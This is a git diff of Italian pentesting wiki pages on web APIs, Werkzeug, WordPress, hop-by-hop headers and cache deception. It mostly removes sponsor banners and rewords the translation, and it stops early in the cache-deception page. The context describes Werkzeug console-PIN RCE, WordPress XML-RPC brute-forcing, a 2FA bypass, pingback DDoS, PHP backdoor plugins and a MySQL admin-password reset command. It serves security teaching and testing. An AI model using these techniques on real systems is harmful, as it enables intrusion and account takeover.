--- a/src/network-services-pentesting/pentesting-web/web-api-pentesting.md
+++ b/src/network-services-pentesting/pentesting-web/web-api-pentesting.md
@@ -2,40 +2,33 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-

-
-Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=web-api-pentesting) per costruire e **automatizzare flussi di lavoro** facilmente, alimentati dagli **strumenti** della comunità **più avanzati** al mondo.\
-Ottieni accesso oggi:
-
-{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=web-api-pentesting" %}
-
-## Riepilogo della metodologia di pentesting API
+## Riepilogo della Metodologia di Pentesting API
 
 Il pentesting delle API implica un approccio strutturato per scoprire vulnerabilità. Questa guida racchiude una metodologia completa, enfatizzando tecniche e strumenti pratici.
 
-### **Comprendere i tipi di API**
+### **Comprendere i Tipi di API**
 
-- **SOAP/XML Web Services**: Utilizzano il formato WSDL per la documentazione, tipicamente trovato nei percorsi `?wsdl`. Strumenti come **SOAPUI** e **WSDLer** (estensione di Burp Suite) sono fondamentali per analizzare e generare richieste. La documentazione di esempio è accessibile su [DNE Online](http://www.dneonline.com/calculator.asmx).
-- **REST APIs (JSON)**: La documentazione spesso si presenta in file WADL, ma strumenti come [Swagger UI](https://swagger.io/tools/swagger-ui/) offrono un'interfaccia più user-friendly per l'interazione. **Postman** è uno strumento prezioso per creare e gestire richieste di esempio.
+- **SOAP/XML Web Services**: Utilizzano il formato WSDL per la documentazione, tipicamente trovato nei percorsi `?wsdl`. Strumenti come **SOAPUI** e **WSDLer** (estensione di Burp Suite) sono strumentali per analizzare e generare richieste. La documentazione di esempio è accessibile su [DNE Online](http://www.dneonline.com/calculator.asmx).
+- **REST APIs (JSON)**: La documentazione spesso è disponibile in file WADL, tuttavia strumenti come [Swagger UI](https://swagger.io/tools/swagger-ui/) forniscono un'interfaccia più user-friendly per l'interazione. **Postman** è uno strumento prezioso per creare e gestire richieste di esempio.
 - **GraphQL**: Un linguaggio di query per API che offre una descrizione completa e comprensibile dei dati nella tua API.
 
-### **Laboratori pratici**
+### **Laboratori Pratici**
 
-- [**VAmPI**](https://github.com/erev0s/VAmPI): Un'API deliberatamente vulnerabile per esercitazioni pratiche, coprendo le 10 vulnerabilità API principali di OWASP.
+- [**VAmPI**](https://github.com/erev0s/VAmPI): Un'API deliberatamente vulnerabile per esercitazioni pratiche, coprendo le 10 principali vulnerabilità API di OWASP.
 
-### **Trucchi efficaci per il pentesting API**
+### **Trucchi Efficaci per il Pentesting delle API**
 
-- **Vulnerabilità SOAP/XML**: Esplora le vulnerabilità XXE, anche se le dichiarazioni DTD sono spesso limitate. I tag CDATA possono consentire l'inserimento di payload se l'XML rimane valido.
-- **Escalation dei privilegi**: Testa gli endpoint con diversi livelli di privilegio per identificare possibilità di accesso non autorizzato.
+- **Vulnerabilità SOAP/XML**: Esplora le vulnerabilità XXE, sebbene le dichiarazioni DTD siano spesso limitate. I tag CDATA possono consentire l'inserimento di payload se l'XML rimane valido.
+- **Escalation dei Privilegi**: Testa gli endpoint con diversi livelli di privilegio per identificare possibilità di accesso non autorizzato.
 - **Misconfigurazioni CORS**: Indaga le impostazioni CORS per potenziali sfruttamenti attraverso attacchi CSRF da sessioni autenticate.
-- **Scoperta degli endpoint**: Sfrutta i modelli API per scoprire endpoint nascosti. Strumenti come i fuzzers possono automatizzare questo processo.
-- **Manipolazione dei parametri**: Sperimenta con l'aggiunta o la sostituzione di parametri nelle richieste per accedere a dati o funzionalità non autorizzate.
-- **Testing dei metodi HTTP**: Varia i metodi di richiesta (GET, POST, PUT, DELETE, PATCH) per scoprire comportamenti inaspettati o divulgazioni di informazioni.
+- **Scoperta degli Endpoint**: Sfrutta i modelli API per scoprire endpoint nascosti. Strumenti come i fuzzers possono automatizzare questo processo.
+- **Manipolazione dei Parametri**: Sperimenta con l'aggiunta o la sostituzione di parametri nelle richieste per accedere a dati o funzionalità non autorizzate.
+- **Testing dei Metodi HTTP**: Varia i metodi di richiesta (GET, POST, PUT, DELETE, PATCH) per scoprire comportamenti inaspettati o divulgazioni di informazioni.
 - **Manipolazione del Content-Type**: Passa tra diversi tipi di contenuto (x-www-form-urlencoded, application/xml, application/json) per testare problemi di parsing o vulnerabilità.
-- **Tecniche avanzate sui parametri**: Testa con tipi di dati inaspettati nei payload JSON o gioca con i dati XML per iniezioni XXE. Prova anche la contaminazione dei parametri e i caratteri jolly per test più ampi.
-- **Testing delle versioni**: Le versioni API più vecchie potrebbero essere più suscettibili ad attacchi. Controlla sempre e testa contro più versioni API.
+- **Tecniche Avanzate sui Parametri**: Testa con tipi di dati inaspettati nei payload JSON o gioca con i dati XML per iniezioni XXE. Prova anche la contaminazione dei parametri e i caratteri jolly per test più ampi.
+- **Testing delle Versioni**: Le versioni API più vecchie potrebbero essere più suscettibili agli attacchi. Controlla sempre e testa contro più versioni API.
 
-### **Strumenti e risorse per il pentesting API**
+### **Strumenti e Risorse per il Pentesting delle API**
 
 - [**kiterunner**](https://github.com/assetnote/kiterunner): Eccellente per scoprire endpoint API. Usalo per scansionare e forzare percorsi e parametri contro le API target.
 ```bash
@@ -44,9 +37,9 @@ kr scan https://domain.com/api/ -A=apiroutes-220828 -x 20
 kr brute https://domain.com/api/ -A=raft-large-words -x 20 -d=0
 kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0
 ```
-- [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sj è uno strumento da riga di comando progettato per assistere nell'audit dei **file di definizione Swagger/OpenAPI esposti** controllando gli endpoint API associati per autenticazione debole. Fornisce anche modelli di comando per il testing manuale delle vulnerabilità.
+- [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sj è uno strumento da riga di comando progettato per assistere nell'audit di **file di definizione Swagger/OpenAPI esposti** controllando gli endpoint API associati per autenticazione debole. Fornisce anche modelli di comando per il testing manuale delle vulnerabilità.
 - Strumenti aggiuntivi come **automatic-api-attack-tool**, **Astra** e **restler-fuzzer** offrono funzionalità su misura per il testing della sicurezza delle API, che vanno dalla simulazione di attacchi al fuzzing e alla scansione delle vulnerabilità.
-- [**Cherrybomb**](https://github.com/blst-security/cherrybomb): È uno strumento di sicurezza API che esamina la tua API basandosi su un file OAS (lo strumento è scritto in rust).
+- [**Cherrybomb**](https://github.com/blst-security/cherrybomb): È uno strumento di sicurezza API che audita la tua API basandosi su un file OAS (lo strumento è scritto in rust).
 
 ### **Risorse per Apprendimento e Pratica**
 
@@ -59,11 +52,4 @@ kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0
 
 - [https://github.com/Cyber-Guy1/API-SecurityEmpire](https://github.com/Cyber-Guy1/API-SecurityEmpire)
 
-

-
-Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=web-api-pentesting) per costruire e **automatizzare flussi di lavoro** alimentati dagli strumenti della comunità **più avanzati** al mondo.\
-Accedi oggi:
-
-{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=web-api-pentesting" %}
-
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/werkzeug.md b/src/network-services-pentesting/pentesting-web/werkzeug.md
index e21c23170..3571a9c9b 100644
--- a/src/network-services-pentesting/pentesting-web/werkzeug.md
+++ b/src/network-services-pentesting/pentesting-web/werkzeug.md
@@ -2,13 +2,6 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-

-
-**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
-
-**Trova e segnala vulnerabilità critiche ed exploitabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
-
-{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
 
 ## Console RCE
 
@@ -41,13 +34,13 @@ Per sfruttare il PIN della console, sono necessari due set di variabili, `probab
 - **`username`**: Si riferisce all'utente che ha avviato la sessione Flask.
 - **`modname`**: Di solito designato come `flask.app`.
 - **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: Si risolve generalmente in **Flask**.
-- **`getattr(mod, '__file__', None)`**: Rappresenta il percorso completo a `app.py` all'interno della directory Flask (ad esempio, `/usr/local/lib/python3.5/dist-packages/flask/app.py`). Se `app.py` non è applicabile, **provare `app.pyc`**.
+- **`getattr(mod, '__file__', None)`**: Rappresenta il percorso completo a `app.py` all'interno della directory Flask (ad es., `/usr/local/lib/python3.5/dist-packages/flask/app.py`). Se `app.py` non è applicabile, **provare `app.pyc`**.
 
 #### **`private_bits`**
 
 - **`uuid.getnode()`**: Recupera l'indirizzo MAC della macchina corrente, con `str(uuid.getnode())` che lo traduce in un formato decimale.
 
-- Per **determinare l'indirizzo MAC del server**, è necessario identificare l'interfaccia di rete attiva utilizzata dall'app (ad esempio, `ens3`). In caso di incertezze, **leak `/proc/net/arp`** per trovare l'ID del dispositivo, quindi **estrarre l'indirizzo MAC** da **`/sys/class/net//address`**.
+- Per **determinare l'indirizzo MAC del server**, è necessario identificare l'interfaccia di rete attiva utilizzata dall'app (ad es., `ens3`). In caso di incertezze, **leak `/proc/net/arp`** per trovare l'ID del dispositivo, quindi **estrarre l'indirizzo MAC** da **`/sys/class/net//address`**.
 - La conversione di un indirizzo MAC esadecimale in decimale può essere eseguita come mostrato di seguito:
 
 ```python
@@ -151,7 +144,7 @@ print(rv)
 Questo script produce il PIN hashando i bit concatenati, aggiungendo sali specifici (`cookiesalt` e `pinsalt`), e formattando l'output. È importante notare che i valori effettivi per `probably_public_bits` e `private_bits` devono essere ottenuti con precisione dal sistema target per garantire che il PIN generato corrisponda a quello atteso dalla console di Werkzeug.
 
 > [!TIP]
-> Se sei su una **vecchia versione** di Werkzeug, prova a cambiare l'**algoritmo di hashing in md5** invece di sha1.
+> Se sei su una **vecchia versione** di Werkzeug, prova a cambiare il **algoritmo di hashing in md5** invece di sha1.
 
 ## Caratteri Unicode di Werkzeug
 
@@ -170,12 +163,5 @@ Questo perché, in Werkzeug è possibile inviare alcuni caratteri **Unicode** e
 - [**https://github.com/pallets/werkzeug/issues/2833**](https://github.com/pallets/werkzeug/issues/2833)
 - [**https://mizu.re/post/twisty-python**](https://mizu.re/post/twisty-python)
 
-

-
-**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
-
-**Trova e segnala vulnerabilità critiche e sfruttabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
-
-{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md
index 33c6fbf58..ccd173d7b 100644
--- a/src/network-services-pentesting/pentesting-web/wordpress.md
+++ b/src/network-services-pentesting/pentesting-web/wordpress.md
@@ -2,14 +2,6 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-

-
-\
-Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=wordpress) per costruire e **automatizzare flussi di lavoro** facilmente, alimentati dagli **strumenti comunitari più avanzati** al mondo.\
-Accedi oggi:
-
-{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}
-
 ## Informazioni di base
 
 - I file **caricati** vanno a: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
@@ -24,7 +16,7 @@ Accedi oggi:
 
 - `index.php`
 - `license.txt` contiene informazioni utili come la versione di WordPress installata.
-- `wp-activate.php` è utilizzato per il processo di attivazione via email durante la configurazione di un nuovo sito WordPress.
+- `wp-activate.php` è utilizzato per il processo di attivazione via email quando si imposta un nuovo sito WordPress.
 - Cartelle di login (possono essere rinominate per nasconderle):
 - `/wp-admin/login.php`
 - `/wp-admin/wp-login.php`
@@ -43,7 +35,7 @@ Accedi oggi:
 ### Permessi degli utenti
 
 - **Amministratore**
-- **Editore**: Pubblica e gestisce i propri e gli altri post
+- **Editor**: Pubblica e gestisce i suoi e gli altri post
 - **Autore**: Pubblica e gestisce i propri post
 - **Collaboratore**: Scrive e gestisce i propri post ma non può pubblicarli
 - **Sottoscrittore**: Naviga nei post e modifica il proprio profilo
@@ -64,11 +56,11 @@ curl https://victim.com/ | grep 'content="WordPress'
 
 ![](<../../images/image (1111).png>)
 
-- file di collegamento CSS
+- File di collegamento CSS
 
 ![](<../../images/image (533).png>)
 
-- file JavaScript
+- File JavaScript
 
 ![](<../../images/image (524).png>)
 
@@ -85,19 +77,11 @@ curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-conten
 curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
 
 ```
-

-
-\
-Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=wordpress) per costruire e **automatizzare flussi di lavoro** facilmente, alimentati dagli **strumenti comunitari più avanzati** al mondo.\
-Ottieni accesso oggi:
-
-{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}
-
 ## Enumerazione attiva
 
 ### Plugin e Temi
 
-Probabilmente non sarai in grado di trovare tutti i Plugin e Temi possibili. Per scoprire tutti, dovrai **Brute Forzare attivamente un elenco di Plugin e Temi** (speriamo per noi ci siano strumenti automatizzati che contengono questi elenchi).
+Probabilmente non sarai in grado di trovare tutti i Plugin e Temi possibili. Per scoprire tutti, dovrai **forzare attivamente una lista di Plugin e Temi** (speriamo per noi ci siano strumenti automatizzati che contengono queste liste).
 
 ### Utenti
 
@@ -119,13 +103,13 @@ Nota che questo endpoint espone solo gli utenti che hanno effettuato un post. **
 
 Nota anche che **/wp-json/wp/v2/pages** potrebbe rivelare indirizzi IP.
 
-- **Enumerazione degli username di login**: Quando si effettua il login in **`/wp-login.php`** il **messaggio** è **diverso** se il **nome utente esiste o meno**.
+- **Enumerazione degli username di login**: Quando si effettua il login in **`/wp-login.php`**, il **messaggio** è **diverso** se il **nome utente esiste o meno**.
 
 ### XML-RPC
 
-Se `xml-rpc.php` è attivo puoi eseguire un attacco di brute-force sulle credenziali o usarlo per lanciare attacchi DoS su altre risorse. (Puoi automatizzare questo processo[ usando questo](https://github.com/relarizky/wpxploit) per esempio).
+Se `xml-rpc.php` è attivo, puoi eseguire un attacco di brute-force sulle credenziali o usarlo per lanciare attacchi DoS su altre risorse. (Puoi automatizzare questo processo[ usando questo](https://github.com/relarizky/wpxploit) per esempio).
 
-Per vedere se è attivo prova ad accedere a _**/xmlrpc.php**_ e invia questa richiesta:
+Per vedere se è attivo, prova ad accedere a _**/xmlrpc.php**_ e invia questa richiesta:
 
 **Controlla**
 ```markup
@@ -138,7 +122,7 @@ Per vedere se è attivo prova ad accedere a _**/xmlrpc.php**_ e invia questa ric
 
 **Bruteforce delle Credenziali**
 
-**`wp.getUserBlogs`**, **`wp.getCategories`** o **`metaWeblog.getUsersBlogs`** sono alcuni dei metodi che possono essere utilizzati per bruteforce delle credenziali. Se riesci a trovarne uno puoi inviare qualcosa come:
+**`wp.getUserBlogs`**, **`wp.getCategories`** o **`metaWeblog.getUsersBlogs`** sono alcuni dei metodi che possono essere utilizzati per forzare le credenziali. Se riesci a trovarne uno, puoi inviare qualcosa come:
 ```markup
 
 wp.getUsersBlogs
@@ -150,7 +134,7 @@ Per vedere se è attivo prova ad accedere a _**/xmlrpc.php**_ e invia questa ric
 ```
 Il messaggio _"Nome utente o password errati"_ all'interno di una risposta con codice 200 dovrebbe apparire se le credenziali non sono valide.
 
-![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
+![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
 
 ![](<../../images/image (721).png>)
 
@@ -190,11 +174,11 @@ C'è anche un **modo più veloce** per forzare le credenziali utilizzando **`sys
 
 **Bypass 2FA**
 
-Questo metodo è destinato ai programmi e non agli esseri umani, ed è vecchio, quindi non supporta 2FA. Quindi, se hai credenziali valide ma l'ingresso principale è protetto da 2FA, **potresti essere in grado di abusare di xmlrpc.php per accedere con quelle credenziali bypassando 2FA**. Nota che non sarai in grado di eseguire tutte le azioni che puoi fare tramite la console, ma potresti comunque essere in grado di arrivare a RCE come spiega Ippsec in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
+Questo metodo è destinato ai programmi e non agli esseri umani, ed è vecchio, quindi non supporta 2FA. Quindi, se hai credenziali valide ma l'ingresso principale è protetto da 2FA, **potresti essere in grado di abusare di xmlrpc.php per accedere con quelle credenziali bypassando 2FA**. Tieni presente che non sarai in grado di eseguire tutte le azioni che puoi fare tramite la console, ma potresti comunque essere in grado di arrivare a RCE come spiega Ippsec in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
 
 **DDoS o scansione delle porte**
 
-Se riesci a trovare il metodo _**pingback.ping**_ all'interno dell'elenco, puoi far inviare a Wordpress una richiesta arbitraria a qualsiasi host/porta.\
+Se riesci a trovare il metodo _**pingback.ping**_ all'interno dell'elenco, puoi far sì che Wordpress invii una richiesta arbitraria a qualsiasi host/porta.\
 Questo può essere utilizzato per chiedere a **migliaia** di **siti** Wordpress di **accedere** a una **posizione** (quindi si causa un **DDoS** in quella posizione) oppure puoi usarlo per far **scansionare** a **Wordpress** qualche **rete** interna (puoi indicare qualsiasi porta).
 ```markup
 
@@ -227,7 +211,7 @@ Dai un'occhiata all'uso di **`system.multicall`** nella sezione precedente per i
 
 Questo file di solito esiste nella radice del sito Wordpress: **`/wp-cron.php`**\
 Quando questo file è **accesso**, viene eseguita una **query** MySQL "**pesante**", quindi potrebbe essere utilizzato da **attaccanti** per **causare** un **DoS**.\
-Inoltre, per impostazione predefinita, `wp-cron.php` viene chiamato ad ogni caricamento di pagina (ogni volta che un client richiede una pagina Wordpress), il che su siti ad alto traffico può causare problemi (DoS).
+Inoltre, per impostazione predefinita, il `wp-cron.php` viene chiamato ad ogni caricamento di pagina (ogni volta che un client richiede una pagina Wordpress), il che su siti ad alto traffico può causare problemi (DoS).
 
 Si consiglia di disabilitare Wp-Cron e creare un vero cronjob all'interno dell'host che esegua le azioni necessarie a intervalli regolari (senza causare problemi).
 
@@ -283,7 +267,7 @@ per ottenere una sessione.
 ### Plugin PHP
 
 Potrebbe essere possibile caricare file .php come plugin.\
-Crea il tuo backdoor php utilizzando ad esempio:
+Crea il tuo backdoor php usando ad esempio:
 
 ![](<../../images/image (183).png>)
 
@@ -313,7 +297,7 @@ Questo metodo prevede l'installazione di un plugin malevolo noto per essere vuln
 
 1. **Acquisizione del Plugin**: Il plugin viene ottenuto da una fonte come Exploit DB come [**qui**](https://www.exploit-db.com/exploits/36374).
 2. **Installazione del Plugin**:
-- Naviga nella dashboard di WordPress, poi vai a `Dashboard > Plugins > Upload Plugin`.
+- Naviga nella dashboard di WordPress, poi vai su `Dashboard > Plugins > Upload Plugin`.
 - Carica il file zip del plugin scaricato.
 3. **Attivazione del Plugin**: Una volta che il plugin è stato installato con successo, deve essere attivato tramite la dashboard.
 4. **Sfruttamento**:
@@ -332,7 +316,7 @@ Il contenuto include ausili visivi che mostrano i passaggi nella dashboard di Wo
 - _**(RCE) Caricamento di Plugin Personalizzati (backdoor):**_ Carica il tuo plugin personalizzato (backdoor) in WordPress.
 - _**(RCE) Modifica di Plugin Integrati:**_ Modifica un Plugin Integrato in WordPress.
 - _**(RCE) Modifica di Temi Integrati:**_ Modifica un Tema Integrato in WordPress.
-- _**(Personalizzato) Exploit Personalizzati:**_ Exploit Personalizzati per Plugin/Tema di Terze Parti di WordPress.
+- _**(Personalizzato) Exploit Personalizzati:**_ Exploit Personalizzati per Plugin/Tema di Terze Parti in WordPress.
 
 ## Post Sfruttamento
 
@@ -344,15 +328,15 @@ Cambia la password dell'amministratore:
 ```bash
 mysql -u  --password= -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
 ```
-## Wordpress Plugins Pentest
+## Pentest dei Plugin di Wordpress
 
-### Attack Surface
+### Superficie di Attacco
 
 Conoscere come un plugin di Wordpress può esporre funzionalità è fondamentale per trovare vulnerabilità nella sua funzionalità. Puoi trovare come un plugin potrebbe esporre funzionalità nei seguenti punti e alcuni esempi di plugin vulnerabili in [**questo post del blog**](https://nowotarski.info/wordpress-nonce-authorization/).
 
 - **`wp_ajax`** 
 
-Uno dei modi in cui un plugin può esporre funzioni agli utenti è tramite i gestori AJAX. Questi potrebbero contenere bug di logica, autorizzazione o autenticazione. Inoltre, è abbastanza frequente che queste funzioni basino sia l'autenticazione che l'autorizzazione sull'esistenza di un nonce di Wordpress che **qualsiasi utente autenticato nell'istanza di Wordpress potrebbe avere** (indipendentemente dal suo ruolo).
+Uno dei modi in cui un plugin può esporre funzioni agli utenti è tramite i gestori AJAX. Questi potrebbero contenere bug di logica, autorizzazione o autenticazione. Inoltre, è abbastanza frequente che queste funzioni basino sia l'autenticazione che l'autorizzazione sull'esistenza di un nonce di wordpress che **qualsiasi utente autenticato nell'istanza di Wordpress potrebbe avere** (indipendentemente dal suo ruolo).
 
 Queste sono le funzioni che possono essere utilizzate per esporre una funzione in un plugin:
 ```php
@@ -406,16 +390,8 @@ Inoltre, **installa solo plugin e temi WordPress affidabili**.
 
 - Rimuovi l'utente **admin** predefinito
 - Usa **password forti** e **2FA**
-- **Rivedi** periodicamente i **permessi** degli utenti
+- **Rivedi** periodicamente i permessi degli **utenti**
 - **Limita i tentativi di accesso** per prevenire attacchi Brute Force
 - Rinomina il file **`wp-admin.php`** e consenti l'accesso solo internamente o da determinati indirizzi IP.
 
-

-
-\
-Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=wordpress) per costruire e **automatizzare facilmente i flussi di lavoro** alimentati dagli strumenti della comunità **più avanzati** al mondo.\
-Accedi Oggi:
-
-{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}
-
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/abusing-hop-by-hop-headers.md b/src/pentesting-web/abusing-hop-by-hop-headers.md
index c300a4376..f980f8ea3 100644
--- a/src/pentesting-web/abusing-hop-by-hop-headers.md
+++ b/src/pentesting-web/abusing-hop-by-hop-headers.md
@@ -2,15 +2,9 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-

-
-[**RootedCON**](https://www.rootedcon.com/) è l'evento di cybersecurity più rilevante in **Spagna** e uno dei più importanti in **Europa**. Con **la missione di promuovere la conoscenza tecnica**, questo congresso è un punto di incontro fervente per professionisti della tecnologia e della cybersecurity in ogni disciplina.
-
-{% embed url="https://www.rootedcon.com/" %}
-
 ---
 
-**Questo è un riassunto del post** [**https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers**](https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers)
+**Questo è un riepilogo del post** [**https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers**](https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers)
 
 Gli hop-by-hop headers sono specifici per una singola connessione a livello di trasporto, utilizzati principalmente in HTTP/1.1 per gestire i dati tra due nodi (come client-proxy o proxy-proxy), e non sono destinati ad essere inoltrati. Gli hop-by-hop headers standard includono `Keep-Alive`, `Transfer-Encoding`, `TE`, `Connection`, `Trailer`, `Upgrade`, `Proxy-Authorization` e `Proxy-Authenticate`, come definito in [RFC 2616](https://tools.ietf.org/html/rfc2616#section-13.5.1). Ulteriori intestazioni possono essere designate come hop-by-hop tramite l'intestazione `Connection`.
 
@@ -20,7 +14,7 @@ Una gestione impropria degli hop-by-hop headers da parte dei proxy può portare
 
 ### Testing for Hop-by-Hop Header Handling
 
-La gestione degli hop-by-hop headers può essere testata osservando i cambiamenti nelle risposte del server quando specifiche intestazioni sono contrassegnate come hop-by-hop. Strumenti e script possono automatizzare questo processo, identificando come i proxy gestiscono queste intestazioni e potenzialmente scoprendo misconfigurazioni o comportamenti dei proxy.
+La gestione degli hop-by-hop headers può essere testata osservando i cambiamenti nelle risposte del server quando specifiche intestazioni sono contrassegnate come hop-by-hop. Strumenti e script possono automatizzare questo processo, identificando come i proxy gestiscono queste intestazioni e potenzialmente scoprendo configurazioni errate o comportamenti dei proxy.
 
 Abusare degli hop-by-hop headers può portare a varie implicazioni di sicurezza. Di seguito sono riportati un paio di esempi che dimostrano come queste intestazioni possano essere manipolate per potenziali attacchi:
 
@@ -33,7 +27,7 @@ Un attaccante può manipolare l'intestazione `X-Forwarded-For` per bypassare i c
 1. L'attaccante invia una richiesta HTTP a un'applicazione web dietro un proxy, includendo un indirizzo IP falso nell'intestazione `X-Forwarded-For`.
 2. L'attaccante include anche l'intestazione `Connection: close, X-Forwarded-For`, spingendo il proxy a trattare `X-Forwarded-For` come hop-by-hop.
 3. Il proxy mal configurato inoltra la richiesta all'applicazione web senza l'intestazione `X-Forwarded-For` falsificata.
-4. L'applicazione web, non vedendo l'intestazione originale `X-Forwarded-For`, potrebbe considerare la richiesta come proveniente direttamente da un proxy fidato, potenzialmente consentendo accessi non autorizzati.
+4. L'applicazione web, non vedendo l'intestazione originale `X-Forwarded-For`, potrebbe considerare la richiesta come proveniente direttamente da un proxy fidato, consentendo potenzialmente accessi non autorizzati.
 
 ### Cache Poisoning via Hop-by-Hop Header Injection
 
@@ -41,14 +35,8 @@ Se un server di cache memorizza erroneamente contenuti basati su hop-by-hop head
 
 **Scenario di attacco:**
 
-1. Un attaccante invia una richiesta a un'applicazione web con un'intestazione hop-by-hop che non dovrebbe essere memorizzata nella cache (ad es., `Connection: close, Cookie`).
+1. Un attaccante invia una richiesta a un'applicazione web con un'intestazione hop-by-hop che non dovrebbe essere memorizzata nella cache (ad esempio, `Connection: close, Cookie`).
 2. Il server di cache mal configurato non rimuove l'intestazione hop-by-hop e memorizza la risposta specifica per la sessione dell'attaccante.
-3. Gli utenti futuri che richiedono la stessa risorsa ricevono la risposta memorizzata nella cache, che era personalizzata per l'attaccante, potenzialmente portando a un furto di sessione o all'esposizione di informazioni sensibili.
-
-

-
-[**RootedCON**](https://www.rootedcon.com/) è l'evento di cybersecurity più rilevante in **Spagna** e uno dei più importanti in **Europa**. Con **la missione di promuovere la conoscenza tecnica**, questo congresso è un punto di incontro fervente per professionisti della tecnologia e della cybersecurity in ogni disciplina.
-
-{% embed url="https://www.rootedcon.com/" %}
+3. Gli utenti futuri che richiedono la stessa risorsa ricevono la risposta memorizzata nella cache, che era personalizzata per l'attaccante, portando potenzialmente a un furto di sessione o all'esposizione di informazioni sensibili.
 
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/cache-deception/README.md b/src/pentesting-web/cache-deception/README.md
index 1f73242cf..115f4af2e 100644
--- a/src/pentesting-web/cache-deception/README.md
+++ b/src/pentesting-web/cache-deception/README.md
@@ -2,20 +2,12 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-

-
-\
-Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) per costruire e **automatizzare flussi di lavoro** alimentati dagli **strumenti comunitari più avanzati** al mondo.\
-Accedi oggi:
-
-{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}
-
 ## La differenza
 
 > **Qual è la differenza tra web cache poisoning e web cache deception?**
 >
-> - Nel **web cache poisoning**, l'attaccante costringe l'applicazione a memorizzare contenuti dannosi nella cache, e questo contenuto viene servito dalla cache ad altri utenti dell'applicazione.
-> - Nella **web cache deception**, l'attaccante costringe l'applicazione a memorizzare contenuti sensibili appartenenti a un altro utente nella cache, e l'attaccante poi recupera questo contenuto dalla cache.
+> - Nel **web cache poisoning**, l'attaccante costringe l'applicazione a memorizzare contenuti dannosi nella cache, e questi contenuti vengono serviti dalla cache ad altri utenti dell'applicazione.
+> - Nella **web cache deception**, l'attaccante costringe l'applicazione a memorizzare contenuti sensibili appartenenti a un altro utente nella cache, e l'attaccante poi recupera questi contenuti dalla cache.
 
 ## Cache Poisoning
 
@@ -23,13 +15,13 @@ Il cache poisoning mira a manipolare la cache lato client per costringere i clie
 
 L'esecuzione di un attacco di cache poisoning comporta diversi passaggi:
 
